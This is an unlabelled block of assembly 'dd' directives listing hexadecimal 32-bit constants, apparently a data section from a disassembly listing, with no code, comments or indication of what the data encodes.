		dd 21B5FF10h, 0D4019D85h, 0D225ACE9h, 4080EA9Bh, 0A7FDD57Bh
		dd 6AA6D95Eh, 7682BF09h, 0B898359h, 7029779Dh, 10A54959h
		dd 77EC53C8h, 27B01290h, 109CA8E5h, 6104347Dh, 0EDE8965Fh
		dd 0A4D60001h, 60C8081h
		dd 6439093Ch, 0D792820Fh, 0B50F69E4h, 0A1771AC9h, 5B4E4FAAh
		dd 0C9BDFC6h, 2DD69FA8h, 15861901h, 96806460h, 0FB8BD79h
		dd 72D56E02h, 797480D9h, 0B7FB008Ah, 441AA4F1h,	0C49BAE00h
		dd 0F2E313Bh, 25E706Ah,	0F35DBB30h, 0ABFA661Ah,	83A4BD97h
		dd 3DD8F65Fh, 0F308C0FCh, 3A97B9D1h, 64566D7Ah,	0A46BB819h
		dd 272926Bh, 0FCCA38BBh, 9B666DD7h, 0CF9F1800h,	2675C11Bh
		dd 8D434BB3h, 0D58D2E79h, 9557612Bh, 27B72ADDh,	0C491B8E5h
		dd 6FABC283h, 0C9F40B35h, 0BDB7E48Bh, 0DC1D8B90h, 33235C00h
		dd 0C67886F2h, 1806E26Eh, 0A2F86FBEh, 18972050h, 1B8606Dh
		dd 701C2C57h, 24F9BD31h, 189761D9h, 2885014Fh, 0B07F29EDh
		dd 32752025h, 2CBCEBEh,	0F110D29Bh, 0CB16B071h,	0A9F0BDDh
		dd 0BB61DE2Fh, 2BA159h,	20FCBF68h, 0ABA1396h, 2A2F59E9h
		dd 1D23D96Bh, 0DD752E00h, 407A31Ah, 0FDA90AEDh,	0A2E0ACFCh
		dd 0B5292038h, 0D9B51125h, 0F5561F5Bh, 0B87FFDB1h, 0E4723E4Eh
		dd 5D0E4081h, 332B73D4h, 0D9DA4A3Eh, 0BC016C8h,	0BBBC12Eh
		dd 592747E9h, 3A950766h, 80A035D1h, 0AEEE08E1h,	800A2C9Dh
		dd 0D7AC6CC1h, 711AE508h, 0EFD7DEDDh, 6F8240ACh, 0D1381A7Bh
		dd 6599253Dh, 2F5711CAh, 5BEC6156h, 89CC322Bh, 0B8A9CAE2h
		dd 4D9DB650h, 6CECC09Ch, 0E633AE29h, 806EF87h, 28C18D61h
		dd 144601Ch, 7A93E995h,	80DB131h, 0D974C87Fh, 510F2C69h
		dd 13CDE9F3h, 0A104A944h, 0FE90131h, 0D6C6FFF4h, 60E2DC2Dh
		dd 2EB7C20Ch, 4115E8B5h, 20C1D913h, 854AF17Eh, 0E62ACCCDh
		dd 0D1B51950h, 2925019h, 8FF00F52h, 5FF0ED92h, 82F08552h
		dd 0A8676B6Eh, 0EA498804h, 6FBA8656h, 0A5B209D1h, 15647Ch
		dd 0C07830F4h, 61D00504h, 1639873Fh, 0F71EAF26h, 0D39DF06Fh
		dd 0D8F918B1h, 0CFB7B2A5h, 744A40E9h, 60125CABh, 81ADC083h
		dd 5B00DEBCh, 4BB20E8Fh, 1F77749h, 0D0E6BB32h, 0D9504D87h
		dd 4718C4D6h, 0BD99A6ABh, 64892FC1h, 1456A72Bh,	5E0E17F1h
		dd 2DB70204h, 63D41EB8h, 0A929A512h, 6F9D0BEh, 0D1FFFE9Ch
		dd 3195254Ah, 70C69B51h, 0B837B771h, 26FEE600h,	7A78355Ah
		dd 451018Fh, 26AF98Bh, 4A9EA660h, 0B908EE4Ah, 0AC61161Eh
		dd 9FB22ECh, 1F519D23h,	536B4FD9h, 70C150A9h, 0CC357602h
		dd 0A1059D03h, 0EE6E995h, 0AFCF2C2Bh, 0DB31D90h, 0F7F03AD1h
		dd 0F0A81DA9h, 0D6DB836Bh, 58D2728h, 881941EFh,	2925EBA3h
		dd 4ADB6C7Fh, 0FB178C8Ah, 46BDBE92h, 1E45957Bh,	4D68224h
		dd 7118D484h, 0F8B6D275h, 0C201EBC8h, 3AFAA95h,	186A00FCh
		dd 0BEC81737h, 2E264639h, 0DD0B2A56h, 22B5F106h, 0DFB7BFF0h
		dd 2A801A11h, 9EE147E8h, 42F66426h, 95877A27h, 4D5FB33Ah
		dd 8E7A4072h, 0BE0228E5h, 0B9E2399h, 0EA7E75BDh, 0B7FF6A09h
		dd 8B9C80F6h, 9BD29F8h,	0B7134DD3h, 0D75009E9h,	0D8C34AE9h
		dd 14131C3h, 7168206Eh,	0C2012D49h, 16AD0342h, 0DF30B075h
		dd 0B0D209Dh, 0A84952B5h, 95F09338h, 4F0A98A6h,	0F69718C1h
		dd 92B4234h, 9459FC99h,	459D0104h, 0C104ECFDh, 8240D781h
		dd 9A566B39h, 0A06FFC27h, 8BE998F0h, 1345B1F0h,	0C82B6100h
		dd 7C409D96h, 0CBC199h,	2D2F7387h, 0D18B4B58h, 134501B8h
		dd 0AF25242Fh, 0B59762Ch, 0E95BF84Dh, 39665C56h, 7D2EA071h
		dd 0CC449528h, 0DFB70F1Ah, 631BF50Ch, 4882A8E0h, 81C3900Fh
		dd 654F0125h, 2F2C536Eh, 0F0C4E387h, 8A3F5D5h, 32CEA495h
		dd 0AD68E945h, 0C475C05Dh, 1FB099EDh, 8C0459h, 949A277Fh
		dd 0CB1C4AEFh, 8D7A1996h, 350E810Fh, 5859E00h, 0C488324h
		dd 0C43658F4h, 2B011E79h, 2A20319Dh, 8B26F598h,	94EF3871h
		dd 0F1BA51Fh, 0EA33B7FEh, 0FF499195h, 8D094498h, 65330D25h
		dd 372C08FDh, 1D467Ch, 0A54C3C8Bh, 1301A456h, 0F1A91476h
		dd 56CD1681h, 1BFC0978h, 26C44595h, 9111075h, 0FC0891B9h
		dd 6100F463h, 0BBAB919Bh, 252955FFh, 0FCE41B5h,	2D4259Eh
		dd 3F03347Bh, 0BC8210E7h, 1C5209C1h, 61AE2358h,	61D98B65h
		dd 2957082Fh, 48FCA43Bh, 12B8D80Eh, 30422F3h, 0AFD22BF9h
		dd 3F00606Eh, 88482A76h, 5634E02Eh, 6DAA67A9h, 0A12A7615h
		dd 17207494h, 0BB8A02B4h, 2AC8226h, 21F010F7h, 0CF551F54h
		dd 39442DF1h, 390EE7A6h, 607A322Dh, 0AC71B135h,	0FEE12427h
		dd 16A03B6Dh, 12975B71h, 65377728h, 0ED925501h,	5D980A7h
		dd 0C81FDA2Ah, 7BEEC015h, 1A97FA8Bh, 0ADB34045h, 48568221h
		dd 8E15915Dh, 56BF4048h, 9F785CF8h, 0BE096BB7h,	3BF3802Ah
		dd 0B53D22E8h, 0AA24FE84h, 0BEA4F038h, 6700F6BDh, 0C7FEE962h
		dd 16A1F895h, 89880F80h, 560E7AD5h, 1A5FA996h, 510D4181h
		dd 0DD5F0C28h, 526A2AFAh, 11415E00h, 9E0F02E7h,	60520A13h
		dd 41D9F2AFh, 0EAD16A80h, 7E885F61h, 6F2517B1h,	0A6764056h
		dd 0CE27DA30h, 0AA89D89Dh, 505A560Eh, 75820478h, 5C595889h
		dd 0D9A9FD49h, 0DE70277Bh, 0AA5405B0h, 0B2F9E3CDh, 78050027h
		dd 0CC93BB7Fh, 5A7F9Ch,	1A962ADCh, 811611AEh, 6C80D491h
		dd 0D33BBEBAh, 60D52D64h, 0A3067EEAh, 5B13AD91h, 6D0A315Fh
		dd 58C97427h, 3EE945A1h, 1A056F6Eh, 6B60F8ABh, 5C98021Fh
		dd 5CE4EF80h, 0C1542DB7h, 0F1717DCh, 560A928Ah,	1F591540h
		dd 16605F80h, 214DBD09h, 7AE180D6h, 209D5D9Ch, 0A49509B5h
		dd 145028C0h, 0E5C31F93h, 9356CE62h, 41C46D6h, 8C610727h
		dd 2B776CC0h, 8B6D95A3h, 3C601464h, 0AE3AB390h,	35AE6250h
		dd 7F278924h, 0BF191206h, 6BC0BD71h, 73CA0E68h,	0D1009580h
		dd 7FAB39F1h, 71DC1ABEh, 38B90969h, 0AB509B28h,	2AFA3981h
		dd 1423D86Bh, 0F8FCBD01h, 0B8388C0Fh, 220D9D82h, 25C35909h
		dd 0DE7D5Ch, 0CCB41DF1h, 84CBD04Fh, 0E912FCE6h,	0F57B01C0h
		dd 77146400h, 600F84D8h, 91BE3597h, 1978801Dh, 788FBB1Bh
		dd 0A921336Eh, 94DD8DD6h, 0CF2AAA9Eh, 0EF96B980h, 11128AFCh
		dd 0E3B179FAh, 0B44DDCAh, 0BFCE9895h, 0E56F7F55h, 3FABDD2Ah
		dd 4E12CC6Ah, 0BA42C811h, 94E6FD00h, 0C7B96E2Bh, 89E81666h
		dd 0B8CBA906h, 0AE0B0270h, 97202FF0h, 0D2688D0h, 1292179Ah
		dd 1B23EB7Ah, 5497025h,	6A9457BBh, 7382BB95h, 4689020Dh
		dd 37840FBh, 8B9613BEh,	5136C7D9h, 60310FDAh, 587E5A4Eh
		dd 71504B5h, 39D72DABh,	0EFCA890h, 0B1CA8C68h, 730C4033h
		dd 0BB4E6D39h, 3809AB09h, 31090770h, 0E46625D8h, 2DC390BFh
		dd 9C2200F1h, 61A7ED0h,	3D007AA2h, 8459307Bh, 2DD5DDBEh
		dd 2C0790EFh, 0BD8953F8h, 0F05C07DAh, 61D8E4EFh, 0F3C52B9Bh
		dd 9582BBFFh, 7AF15C27h, 25DCE3FCh, 405EADB3h, 44F25149h
		dd 45DEBE3Bh, 7013F5C0h, 810BBF68h, 0FE2E572Bh,	9D256F56h
		dd 2143E4C1h, 351B1095h, 1D55820Dh, 0D7887BDFh,	0ED976992h
		dd 759C0C7h, 0BF0484B3h, 1FBACDEDh, 93A2ECB8h, 0B9355D1Ah
		dd 0DD06DF01h, 0B22040ADh, 813340E9h, 0E10AE305h, 0FD2C66BCh
		dd 0BF73C05Ah, 1CAEA927h, 6D343A95h, 96D969AEh,	0B5EF6EA5h
		dd 404EC86Dh, 50418FB4h, 9792907Ah, 0A418570h, 0AB05342Bh
		dd 64A63075h, 0B5B86AA0h, 26EFA002h, 7D50BBB7h,	0CC0F9BC4h
		dd 80225A35h, 0FCA6EA0Eh, 4DE90013h, 56F03C6Fh,	2C45B50h
		dd 30FB3489h, 6D30AFB3h, 4EE59C02h, 0E02EDC87h,	95E8BC0Ah
		dd 1AC4C24Dh, 6ACA9660h, 0ECB80B0Bh, 9B2DC87h, 0B471915Fh
		dd 5971AFh, 0FDD8B6A4h
		dd 3E00A6CCh, 179C7738h, 0B829ED7h, 0B4ADC9AEh,	32103474h
		dd 76E9B64Ah, 0E7FA4Ah,	80129A4Eh, 1899055Fh, 8CF19531h
		dd 0B3A66625h, 0A9467888h, 6AFBC100h, 0D4A3E132h, 3F109F56h
		dd 0D9001466h, 92364F82h, 13753170h, 0AE17CD16h, 0CE5BB109h
		dd 0BB3597EAh, 0C16D283h, 0D74BC27Ch, 0CF819518h, 0B2CE021Fh
		dd 0DBEDC2A5h, 0E01F704Bh, 92195104h, 0D7B88429h, 0E75B4A78h
		dd 34DA4F46h, 0CC85C08Bh, 2BF2B151h, 0DBAFEE25h, 2D66CB35h
		dd 0BE303E93h, 800440D9h, 7B9EDF25h, 181459A7h,	0E34EB5A2h
		dd 3BE6D84Ah, 0E3015B2h, 4EF85F50h, 44F96094h, 73401713h
		dd 4A33DBh, 0A9965BD7h,	1E266F1h, 4CF40402h, 0FC6AD8FDh
		dd 0D98A0B5Ah, 51747689h, 0AF285E69h, 0A013AB7h, 66570D50h
		dd 1D889F5Bh, 2908D2C0h, 0E3BE0032h, 1071CDA0h,	65BF810Fh
		dd 9D781E54h, 1AB6C336h, 0AEECBD2Bh, 12668F28h,	0F271C9BFh
		dd 5D448994h, 0AC65B2B8h, 0BD4EBB07h, 0DD2534B9h, 0D1FCE385h
		dd 0A02BF987h, 0F4563520h, 2D99A655h, 52B85Bh, 6E473FA3h
		dd 6A9C5DDh, 2FE79DACh,	9EF7834h, 0B37B0BD8h, 38181C79h
		dd 0AB02517Dh, 45839B0Bh, 69775E0Dh, 65455471h,	2ECA9BDh
		dd 26FC7C3Fh, 0A9ACDDA8h, 7775CAA5h, 71406A4Fh,	25E19FEAh
		dd 90E22D86h, 97006A66h, 7427491Bh, 2525936h, 0EF095A82h
		dd 13C21F29h, 357A625Ch, 7A0180E3h, 8EE3A1Ah, 4358F514h
		dd 0C9915ED6h, 0AF3B63E9h, 4585AE48h, 0C0D1DBC1h, 0D6A17694h
		dd 3C509BBh, 69792D85h,	1DBD0186h, 0BF90017Bh, 17268EF6h
		dd 375DDE50h, 0E79700A1h, 0E3315638h, 0DF8C6A5Ah, 0F4C3F3Eh
		dd 7C87AE0Fh, 0AE6FBFD2h, 4AC47C0Ch, 0FDEE75C6h, 80E6379Fh
		dd 0EFB521A9h, 0C0498325h, 913EE92Ah, 41999268h, 10D49D9h
		dd 0CC6F5750h, 0D609BB0Bh, 0D1360712h, 20E8930Dh, 0A13F6D24h
		dd 0A6E2BD01h, 0D5467E64h, 40990C20h, 1135B26h,	25AE25B5h
		dd 947AAA87h, 11B0F01h,	6063FA03h, 0C595F935h, 19E250AEh
		dd 9D1F4D00h, 0EF816E93h, 0C01B12DBh, 4FB2F609h, 0FDD14609h
		dd 0C5A596B7h, 0FC7910C7h, 68178C14h, 0A6F026Ah, 0A5E9B25h
		dd 0E43EBA61h, 0B6EEF4h, 419D5532h, 23BCEFD6h, 0FDFF5315h
		dd 0CAB32FFAh, 2E945D40h, 85D47997h, 400D9D0Bh,	958960F8h
		dd 27C1253Dh, 0E961DFBFh, 70D05EE2h, 6282C37Fh,	0B1C47471h
		dd 2268D42h, 0EFE86051h, 0AE03042Ah, 0BD5F5B0Eh, 0DBB782B3h
		dd 74105790h, 0A338BF81h, 51DC005Ah, 4F1B4D5Dh,	8D3F0129h
		dd 821A320Dh, 0AC09150h, 8A127F56h, 0AE7C12FAh,	5832D56Fh
		dd 0BD5ED8F4h, 3D0F87C9h, 40927989h, 0C757BB66h, 896E9897h
		dd 0B449558Dh, 5FFAE461h, 72015737h, 8B0F1AFEh,	0F07E5CAh
		dd 0F2C00208h, 90F53087h, 0BFB09670h, 0EC17992Fh, 391A3908h
		dd 73B1C702h, 0F640A111h, 5F811EADh, 0EC6B622Fh, 2D08B8D9h
		dd 46502D31h, 84178349h, 0E6010E39h, 21E4F870h,	709EC34h
		dd 4503C695h, 65122EC5h, 10095A04h, 81FE60ABh, 4132BBDFh
		dd 0DEC1E85Fh, 3451097Fh, 9D85035Ch, 27AB14B9h,	3DB8BE27h
		dd 0C61994F3h, 9D5C2DC2h, 505BC783h, 4938D29h, 0C82B1107h
		dd 7E10CB81h, 4A8B1C55h, 0E92F32D1h, 0B001298Bh, 714609D0h
		dd 63D16F02h, 182F5F51h, 0D69585Fh, 0C418C495h,	0AE2791A0h
		dd 2A0C1832h, 0CA60020Eh, 98240E9h, 0E677DE8Bh,	0F880A133h
		dd 2B21222Fh, 979D1857h, 0A0A5FC8Eh, 280FE17h, 47BF60DFh
		dd 8DD50A49h, 0EA4AA813h, 18719862h, 5550265Eh,	0D0FD5D41h
		dd 0E6E261E8h, 12D04002h, 69EC3C2Bh, 6D85B519h,	45598529h
		dd 0FB6A61F3h, 640A436Fh, 0FE212EEh, 92094B5Ch,	51804B79h
		dd 0B95BD98Bh, 0AD085284h, 24E0FA25h, 0CD55B531h, 0C741DECAh
		dd 2BDA5171h, 836E3FC0h, 68B72C08h, 60FE2065h, 0E0AD7DCAh
		dd 0BDBCDF28h, 22312520h, 2EE1BA5Fh, 6A3EFF6Dh,	9E990067h
		dd 9618636Ch, 2F9F0138h, 0C5BD09D9h, 0AE7A2E32h, 89908009h
		dd 5849405Eh, 0A2F395FEh, 7AA07D0h, 0ECF4C7Eh, 4BC95F2h
		dd 122EB1C7h, 82D565BBh, 3A771E69h, 24C1DF5Ah, 0CE801025h
		dd 0B7615A93h, 396A4E16h, 0F5D79401h, 0D03628ADh, 0C54A8A60h
		dd 83D036B8h, 61852932h, 9D5E2A5Eh, 0E54226EDh,	0F14C75E1h
		dd 300CBF1Ch, 59BCD6C2h, 0E564CD77h, 1A90F31h, 892DF392h
		dd 4A3D7580h, 8D10FB82h, 40817748h, 6EB86C1Ch, 0E880FA9Fh
		dd 0C04AC2E5h, 582AA60Bh, 0D638560Eh, 0E0002A86h, 655F3D36h
		dd 4D9CCBEh, 0FF4EB74Ah, 0DAFD1E1h, 9282FF7h, 6D5D8AABh
		dd 4E7EC0E5h, 0E24B644Ah, 992226CAh, 60D78102h,	5C481C39h
		dd 0AD5051D5h, 0DE8CF426h, 0D20C6C04h, 0FFAC6025h, 76BCB1D2h
		dd 46D9E0B8h, 2D82B0CEh, 4E40EF29h, 8074177Ch, 0B484194Bh
		dd 7303DD9h, 8C344BC1h,	0C18A7AB4h, 1DA54DA4h, 78005159h
		dd 864B7156h, 0D5A104E7h, 65681C5Bh, 3416C71Fh,	0BCD72BADh
		dd 74202D78h, 816064D4h, 0D55F69A2h, 56F42B61h,	0F99A03BEh
		dd 5E515C4Dh, 0F512A0E4h, 42D64FBDh, 0B776A042h, 0BB74DA40h
		dd 0A3763F36h, 0B6CA6A0Eh, 7DBD03C1h, 30066524h, 324B390Dh
		dd 0FF82B1FDh, 0FD481F03h, 0C7D7FCAAh, 262AF720h, 0D3711CCEh
		dd 73581FAh, 0CA021DDFh, 93CCB77h, 842BBE3h, 0D50FF05h
		dd 0D2BB8B71h, 19E16EE0h, 0AC264025h, 2FEF7236h, 387B58F5h
		dd 0F8374F70h, 947C7CF5h, 0FE6E25E4h, 356359Fh,	8BC46BF3h
		dd 7DDFA7B0h, 0CE13274Fh, 0C3B92BC4h, 0D60130BCh, 0B1E86448h
		dd 0A03AF28Eh, 0EF5C452Fh, 0FA516E9h, 59CCAECh,	0FAECE97Bh
		dd 0ECC0B29Eh, 9D39F7A4h, 6CCDD4Bh, 4B2BB02Bh, 4AE18B1Bh
		dd 28811D9Ah, 6EC5CE72h, 0BFD3CCh, 3154A91Fh, 2595BD23h
		dd 5BE53A97h, 6AE2715Fh, 0BA521913h, 0B65F02E7h, 86BA0CFh
		dd 83F60148h, 2EF5AE36h, 2A22210Bh, 0CF04C5C4h,	2C9179Bh
		dd 8FCCDE2Fh, 59078B95h, 93D12F35h, 50C79300h, 25679A40h
		dd 0DCC07A94h, 4D319529h, 60967215h, 8C8FC86Fh,	71DD4212h
		dd 0B74030EAh, 0CC2FA841h, 0B06FE663h, 0E0109D18h, 0AB3D1EDCh
		dd 7037CAEh, 0E0D4CC4Bh, 5952C2FCh, 0CEF700D3h,	1EE7DD70h
		dd 5F17DC16h, 96D530F5h, 9186713Ah, 0D8CA6A34h,	857365E0h
		dd 58098631h, 68000481h, 0F60C76D7h, 16DC8AEFh,	8D283924h
		dd 0F3F51012h, 9D090403h, 0BDFD0799h, 3E8BDA27h, 4B71F05Bh
		dd 744E80FFh, 2F01298Fh, 0C77B80BFh, 0F48D0408h, 1AC973Ah
		dd 782ED02Ch, 3C3654DEh, 1646A24Ah, 37B85D55h, 13A7B397h
		dd 0CCA6615Bh, 986F29E0h, 0D7CE3400h, 279A807Fh, 0CF88560Fh
		dd 761FCD10h, 43DEFB4Bh, 96C01CC8h, 90F858E4h, 5B0600F6h
		dd 0C05CBB17h, 149709E8h, 212D4A4Dh, 12671ACh, 0EFC23DE9h
		dd 139A606Eh, 7A69226Fh, 774F5CDAh, 80E03549h, 96682C65h
		dd 293FA448h, 0CFB7F19Dh, 3A2C437Ch, 9425FC80h,	0A9422003h
		dd 9ABD0BE5h, 58D77E26h, 4415985h, 0A7EA717Fh, 30F64B95h
		dd 4DB72542h, 41F9A057h, 2F5B8120h, 1C23486Bh, 2A32FD00h
		dd 126136ACh, 0AF259CADh, 0C187BE35h, 2DAF3194h, 806A3A46h
		dd 0ECCB6916h, 0DA8AC4BDh, 0C17404EFh, 71610912h, 25DE25ABh
		dd 0CB8403DEh, 25D687F8h, 0BF4FEB90h, 13178D09h, 8B847978h
		dd 5444E857h, 505C3B04h, 20BB144Fh, 0C168BDE2h,	8DE68400h
		dd 0AFE59F4Eh, 5F9B387Ch, 1C38181h, 3B310D61h, 50F97D09h
		dd 573797CAh, 49398B00h
		dd 0BE6A9E5h, 0B9B58998h, 0F8565350h, 301AE2F3h, 37028A72h
		dd 93EB3A99h, 0C958568Bh, 604A8772h, 0F35E4DA3h, 0BF4F50A7h
		dd 0DD06957h, 0A7859589h, 9A7F742Eh, 0E9FBC040h, 9757FDC5h
		dd 18917AB5h, 0FB9FA480h, 6609F098h, 0E6C47EBFh, 0DC14C53Bh
		dd 130BB9E2h, 0A55704C2h, 75340AB5h, 0DB205A50h, 0C9A7848Ah
		dd 0DAD73EBDh, 0E057870Ah, 714FF391h, 804AB82Ah, 0B3CDFA8Dh
		dd 3B6500CAh, 0F2D74BB0h, 519DEC02h, 0DF82A506h, 5B5EF6DAh
		dd 0DE135449h, 0BC78AC12h, 47AABh, 733DC2B6h, 0BEE778DDh
		dd 2F6BA9DFh, 3CE037EDh, 49671AD9h, 52F6914h, 181084BBh
		dd 960013D5h, 338D3BBBh, 0FE91507Eh, 3FC3683h, 0FC65EA07h
		dd 43BB402Fh, 7900B14Dh, 0A8E50E98h, 0C459F0h, 1F07F551h
		dd 7FE656D7h, 2B965B05h, 22BE9DBDh, 0ED621B2h, 881300F6h
		dd 8EDDC133h, 4C0B0C86h, 5E3DB315h, 0B81116FCh,	70B6B4C2h
		dd 2F8964A1h, 0E1334C28h, 0A029F72Bh, 0AFF3A95h, 96547C9Ah
		dd 0DFA1C0B2h, 0CB280AF7h, 889799D6h, 3F259625h, 59B800FDh
		dd 6AAEE5BCh, 0BEAFF701h, 10B59D03h, 8DCDD2Bh, 5409BB36h
		dd 792415BCh, 0C781833Fh, 7CCA7A4Dh, 6F51455Eh,	0B75D76A5h
		dd 0B97F04ECh, 0D63DBD86h, 0CA830CDAh, 0EA90DB5Bh, 2726BE1h
		dd 0C6F8B512h, 60A25CB7h, 0FD55F40h, 85A4C7B5h,	91319501h
		dd 2F84E9D0h, 56532B01h, 85605BFCh, 947000E3h, 0C18B744Bh
		dd 0F44BE780h, 2B3C0FCDh, 90974B04h, 8356B853h,	0E02E3588h
		dd 12A377C5h, 0ACCDFB92h, 0C15EDBBEh, 0B2FBB351h, 0DF43C090h
		dd 85A5B775h, 9671FC99h, 7CD8BDA8h, 0FD5AD319h,	0A0BC38ADh
		dd 90F93827h, 0E49C2FD3h, 0E104005Ch, 86EE903Dh, 0BD01EB6Ch
		dd 20FBC7F4h, 122AF850h, 0F19AF024h, 7FF22A41h,	820202E6h
		dd 99C63DE7h, 6559DBh, 70CBFC3Eh, 23382810h, 66518058h
		dd 5A2F02B8h, 27BA9661h, 0D1C02ACDh, 17FB3CA8h,	0E8CAEB80h
		dd 750BCB3Eh, 5C4FD313h, 0B985F360h, 81E69533h,	0AD2CD311h
		dd 0B836A996h, 76C51268h, 0E8E630h, 0FF5133BBh,	9D781D1h
		dd 70D2E81Ah, 4A44D371h, 8055F849h, 0BFDAB715h,	0AEDB1251h
		dd 0CB121D6Eh, 0CAAF2C0Eh, 2EC64DEh, 421016FDh,	955857Ch
		dd 98F75033h, 248501BDh, 0AC8F2D8Dh, 0A4652531h, 47132392h
		dd 646FFAh, 3BAF3A65h, 2429D6B2h, 92ACC98Dh, 25FA6FF8h
		dd 9CD2C678h, 5B3510FDh, 0DE8886F8h, 0AD27A720h, 60D3FEAFh
		dd 43D9E9D3h, 4AE30B4Dh, 9A4CA6D9h, 5C6900F2h, 8B80163Eh
		dd 7F1CDBEFh, 0D04EB3E4h, 609B002Fh, 0C090BA66h, 0BDCA8108h
		dd 3B9761C5h, 0D5F7E8C1h, 30EE95F1h, 34603DADh,	2523235h
		dd 9589FF6Ah, 13E4284Dh, 0A9013927h, 60AE77BAh,	12D1657Fh
		dd 0A8984BBDh, 4101414Dh, 0C0B003AEh, 704CE6FCh, 5211099h
		dd 471E41Eh, 0B82DCDBDh, 3D2FCC9Fh, 80C2B089h, 0F8C8B638h
		dd 18B9329Dh, 14F58913h, 0C8A43FDAh, 2701DC3Ah,	0C2318729h
		dd 0C4ECD09Eh, 0DE26BA1Ch, 0D37E58CEh, 171563FAh, 64C1EF25h
		dd 458A0075h, 0D3C4736Eh, 82023B5Fh, 149BDEE9h,	1036053h
		dd 0C65B8127h, 20615257h, 601D0D29h, 7EEE8D31h,	0E2E06192h
		dd 0E8FC5B8Ah, 0C82BC558h, 0D2F6FECh, 0A0C0715Ch, 0B5BE62FAh
		dd 8B31211Ch, 141D84D1h, 6618B62Ah, 9877E516h, 9C534ABh
		dd 4824AF0Dh, 3104EAACh, 341469B5h, 6084CCFEh, 61E53FD9h
		dd 14F2482Eh, 345F5A8h,	0E9CEA06Eh, 71AA5253h, 0B26B2B45h
		dd 0CB67546Dh, 0F572130Ch, 4A259461h, 2226F601h, 232A12Fh
		dd 83D98A10h, 0FE25A550h, 7D7A6054h, 0BE09905h,	0A71C9ABEh
		dd 0BAB71E5Bh, 0FA819995h, 2209612Fh, 3CBC054Bh, 25E594D9h
		dd 0A17A3B32h, 0A5295509h, 35254650h, 0C09E5612h, 4C4677C2h
		dd 8503B70Bh, 5FF46135h, 905FB26Fh, 0F0A6FC3Dh,	295304F8h
		dd 1058DBDh, 768B95Bh, 810BDE7Ah, 0B6D0A4F7h, 1B12822Eh
		dd 5715BA13h, 0B47364B2h, 309D2850h, 2E8A67B6h,	909D1FCDh
		dd 1417A08Ah, 0E0C1CBBBh, 6583200h, 207F37F0h, 3C80072Ch
		dd 24DAFC14h, 0BD44E28Dh, 2B5046BAh, 6520A6C0h,	97BA700Ch
		dd 3C80EB3Dh, 736F4ADBh, 9F3E16F7h, 0E30712D5h,	100D370h
		dd 0ACAF381h, 0B9425A36h, 257EB896h, 48EA587Ch,	0E013CD7Dh
		dd 6DADF841h, 6ED23709h, 27461882h, 58957AB5h, 41166983h
		dd 4B6CF649h, 1203398Ch, 0BC1FD59Dh, 5139ED37h,	0D70979A8h
		dd 292C6DC0h, 0F85941DFh, 80509B2Ah, 7A2BD0EFh,	84E0260Ch
		dd 9099671Ah, 20B383C9h, 4F139497h, 1D0A7B6Dh, 0B81C4868h
		dd 60BFCF2Fh, 3F0E7268h, 808D5816h, 0EE3B352h, 4DF4602Dh
		dd 1D9C6072h, 3C60821Bh, 540324BBh, 9D33E1FFh, 38AF9C01h
		dd 34BC709h, 7F81C09Eh,	3B0E11B6h, 0B1076182h, 0B0020132h
		dd 97DFCE2Ch, 6A740294h, 1BD8539Bh, 3ED82861h, 28ED2C81h
		dd 23D7613Ah, 7172F14h,	9FE028B6h, 0DE042110h, 0D7AF8643h
		dd 6E4B00BCh, 4C30057Ah, 35822B79h, 66185E13h, 310929CBh
		dd 5410B195h, 717CE9DBh, 9D1EF108h, 4B2091BDh, 7AEE1095h
		dd 54E7043Fh, 1EB1CC83h, 41319D20h, 48967A26h, 2229287Eh
		dd 0F2BD9032h, 69688011h, 5E568604h, 80EF44B3h,	49859635h
		dd 0DB2580F2h, 59917336h, 1A801817h, 9C6ED938h,	0FDF0FCD3h
		dd 0A57F00A2h, 81E231A7h, 4802A0DFh, 0F0E97B4Bh, 2264E401h
		dd 0DF4A3191h, 1BB26FE6h, 439130h, 1A62BEA3h, 0E3818552h
		dd 0DAFA3B0Bh, 1BF945h,	9C5AC7ADh, 2900E668h, 0FA1ABA90h
		dd 251CE034h, 0A7FE33FFh, 0A7B85F44h, 0B118F6D4h, 0F2D208A7h
		dd 757F1297h, 0D5E0F3EDh, 41E45FAh, 0DACEC152h,	2B1EE17Ch
		dd 52E98474h, 0C60182A8h, 0E4B29190h, 3D1DB84h,	1714FD2Ah
		dd 4BE60689h, 0DBE0CCE3h, 462569B6h, 8BA904Fh, 0A0B30003h
		dd 0B9D8B27Dh, 830581F9h, 0FAF7CF2Bh, 0BAAD1384h, 0A82BADD2h
		dd 0A60B970Bh, 0FCC0DA4Dh, 4F57D411h, 5F61FD67h, 0A180A4DBh
		dd 731F436Dh, 0BD01A70Bh, 50865C45h, 52121C68h,	1604D910h
		dd 76B85911h, 0EB1E304h, 446BF027h, 7A85064Bh, 67BFEh
		dd 0CE339F2Ch, 9058F394h, 0E6D87C20h, 42A9AFEh,	5EC096BFh
		dd 262BE333h, 19249480h, 209AFECFh, 51C791Fh, 0EBA88EC7h
		dd 9FA26E84h, 53092Eh, 361803FFh, 0B2029F65h, 0B9EF9932h
		dd 0E1C05D16h, 3A9061DEh, 0C7957179h, 0B9AA79Ch, 6A25E6E1h
		dd 0D3178CEh, 2BF9B727h, 846A5889h, 0ACD79459h,	9A92EE1Ch
		dd 1F3C823Bh, 70E27BF2h, 52161BEAh, 81F80BDCh, 0D28E85A2h
		dd 0C3C4DB12h, 0A89C934Bh, 0A55FF4B3h, 3328BDBh, 1F4895Ch
		dd 3F629591h, 92F25E4Ch, 0D0ADB7B0h, 92541C93h,	6B13E713h
		dd 9548DA18h, 37FFEC12h, 0E54DAC7Dh, 59F4C2A6h,	94555542h
		dd 59289370h, 0B1C6201Eh, 0EB921727h, 4F618B35h, 0A489B904h
		dd 98C141FFh, 2A085D94h, 18C8419Ah, 4E2D1DC0h, 0F0B14E7Fh
		dd 668021AFh, 936725BFh, 46D68C56h, 4AA80019h, 8F354BBEh
		dd 0CCFB568Bh, 0E9AF6662h, 2969E656h, 0BBC95165h, 2B952Dh
		dd 5628B855h, 69AC9606h, 0F43DE384h, 459C2BFh, 26BCA4h
		dd 0CBF4C1B8h, 0D78B2808h, 31CF8A95h, 550B1909h, 0EEB43C96h
		dd 81DE5FD4h, 2A0869BEh, 0DE84F7DDh, 0B96AFEEEh, 0BEBBC4Ah
		dd 544725C1h, 5555756h,	8CB1C439h, 18008705h, 8B8C29AAh
		dd 16DE767Bh, 0F897FC0Ah, 7B755B43h, 0BA96AEAh,	46F99B2h
		dd 7A95D968h, 102536FCh
		dd 2909AE4Eh, 5B077985h, 32609A53h, 614AE57Ah, 2E223ECAh
